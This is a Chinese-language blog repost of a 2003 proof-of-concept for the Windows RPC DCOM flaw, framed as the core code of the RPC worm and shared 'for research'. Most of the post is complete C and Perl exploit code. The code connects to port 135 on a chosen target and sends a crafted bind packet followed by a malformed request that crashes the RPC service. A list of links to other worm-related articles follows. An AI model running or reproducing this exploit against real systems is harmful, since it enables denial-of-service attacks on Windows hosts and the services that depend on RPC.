RPC蠕虫病毒主要技术源代码

转载 2006年06月01日 21:09:00

安全焦点网站于2003年7月21日发布了该漏洞的测试代码,现在的RPC蠕虫基本上是利用了该代码,我们现在转载该代码供大家研究。
WINDOWS的RPC服务(RPCSS)存在漏洞,当发送一个畸形包的时候,会导致RPC服务无提示的崩溃掉。由于RPC服务是一个特殊的系统服务,许多应用和服务程序都依赖于他,因为可以造成这些程序与服务的拒绝服务。同时可以通过劫持epmapper管道和135端口的方法来提升权限和获取敏感信息。

代码
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};


void main(int argc,char ** argv)
{
  WSADATA WSAData;
int i;
  SOCKET sock;
  SOCKADDR_IN addr_in;

short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org/n");
printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org/n");
printf("Welcome to http://www.xfocus.net/n");
if(argc<2)
{
 printf("useage:%s target/n",argv[0]);
exit(1);
}


  if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  {
    printf("WSAStartup error.Error:%d/n",WSAGetLastError());
    return;
  }

  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(port);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  {
    printf("Socket failed.Error:%d/n",WSAGetLastError());
    return;
  }
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
 printf("Connect failed.Error:%d",WSAGetLastError());
 return;
}
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
  printf("Send failed.Error:%d/n",WSAGetLastError());
  return;
}

i=recv(sock,buf1,1024,MSG_PEEK);
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
{
  printf("Send failed.Error:%d/n",WSAGetLastError());
  return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
}


#!/usr/bin/perl -w
# By SecurITeam"s Experts
my $bindstr = "/x05/x00/x0B/x03/x10/x00/x00/x00/x48/x00/x00/x00/x7F/x00/x00/x00/xD0/x16/xD0/x16/x00/x00/x00/x00/x01/x00/x00/x00/x01/x00/x01/x00/xA0/x01/x00/x00/x00/x00/x00/x00/xC0/x00/x00/x00/x00/x00/x00/x46/x00/x00/x00/x00/x04/x5D/x88/x8A/xEB/x1C/xC9/x11/x9F/xE8/x08/x00/x2B/x10/x48/x60/x02/x00/x00/x00";

my $request = "/x05/x00/x00/x03/x10/x00/x00/x00/x48/x00/x00/x00/x13/x00/x00/x00/x90/x00/x00/x00/x01/x00/x03/x00/x05/x00/x06/x01/x00/x00/x00/x00/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x31/x00/x00/x00/x00/x00/x00/x00/x00";

use Socket;
$proto = getprotobyname("tcp");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems/n");

$IP = $ARGV[0];
$target = inet_aton($IP);
$paddr = sockaddr_in(135, $target);

connect(S, $paddr) || die "connect: $!";

select(S); $|=1;

print $bindstr;

sleep(2);

print $request;
sleep(2);

select(STDOUT);
close(S);

 

防范勒索蠕虫病毒入侵,3分钟教你快速关闭高危端口445!

“永恒之蓝”的外衣是多么的美妙,“勒索蠕虫病毒”的内在是多么的丑陋!...
  • Summer_Hanson
  • Summer_Hanson
  • 2017年05月16日 10:47
  • 1379

蠕虫病毒编写技术

 现在蠕虫病毒泛滥,网络安全越来越受到威胁,其实主要方面是一是国内人员技术水平的提高,二是相关技术公开程度也越来越高,其实现在的蠕虫病毒大多属于文件病毒,相关技术也比较简单,本意在于揭开病毒的面纱,了...
  • iiprogram
  • iiprogram
  • 2008年04月16日 22:02
  • 1331

蠕虫和病毒的区别

蠕虫(worm)和病毒(virus)都是试图在计算机中传播他们自己的代码。但蠕虫可以自己运行,并且能够将一个完全有效的自己传播到其他机器。病毒能够将自己添加到包括操作系统在内的其他程序中,但它不能独立...
  • normalnotebook
  • normalnotebook
  • 2006年05月28日 11:07
  • 3350

莫里斯蠕虫

它的编写者是美国康乃尔大学一年级研究生罗特·莫里斯。这个程序只有99行,利用了Unix系统中的缺点,用Finger命令查联机用户名单,然后破译用户口令,用Mail系统复制、传播本身的源程序,再编译生成...
  • wql19881207
  • wql19881207
  • 2012年05月29日 22:47
  • 3290

局域网雨云蠕虫病毒的处理

本篇文章经过作者的实践证明对于网络病毒查杀是行之有效的整体解决方案,适用于感染了雨云蠕虫病毒的大型局域网,尤其在病毒泛滥的情况下,着实有用。...
  • luogangan
  • luogangan
  • 2015年06月12日 08:01
  • 1340

病毒、木马、蠕虫与恶意代码关键点

病毒:寄生存在,所谓寄生,就是病毒的指令存在于其它可执行程序的空指令部分。如下图为一个标准的计寄生形式的病毒: 运行可执行程序,一个jmp指令会导致程序跳转到病毒所在指令处开始执行,执行完毕之后...
  • Apollon_krj
  • Apollon_krj
  • 2017年07月12日 19:50
  • 2161

蠕虫病毒编写技术

 蠕虫病毒编写技术收藏 function StorePage(){d=document;t=d.selection?(d.selection.type!=None?d.selection....
  • StudyFromEveryOne
  • StudyFromEveryOne
  • 2008年07月07日 23:24
  • 1356

威金蠕虫病毒症状和清除解决方法

电脑中威金病毒的症状和病毒表现:   1. 某些杀毒软件的实时监控无法启动(例如:瑞星的实时监控中心)     2. 部分图标变得模糊     3. 进程里面出现例如 Logo_1.exe ...
  • axl19530209
  • axl19530209
  • 2015年01月03日 08:57
  • 883

web蠕虫编写过程

*导言      *自动化    *搜集目标 *绕过IDS,多态性和通讯        *结语      ===导言===                        ...
  • liuhuihlf
  • liuhuihlf
  • 2016年12月10日 12:23
  • 1331

安全威胁无孔不入:基于Linux系统的病毒(转)

尽管在Linux里传播的病毒不多,但也是存在一些,我从一些安全站点搜集了一些资料。     1、病毒名称:     Linux.Slapper.Worm     类别: 蠕虫     ...
  • richerg85
  • richerg85
  • 2014年05月05日 22:15
  • 2463
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:RPC蠕虫病毒主要技术源代码
举报原因:
原因补充:

(最多只允许输入30个字)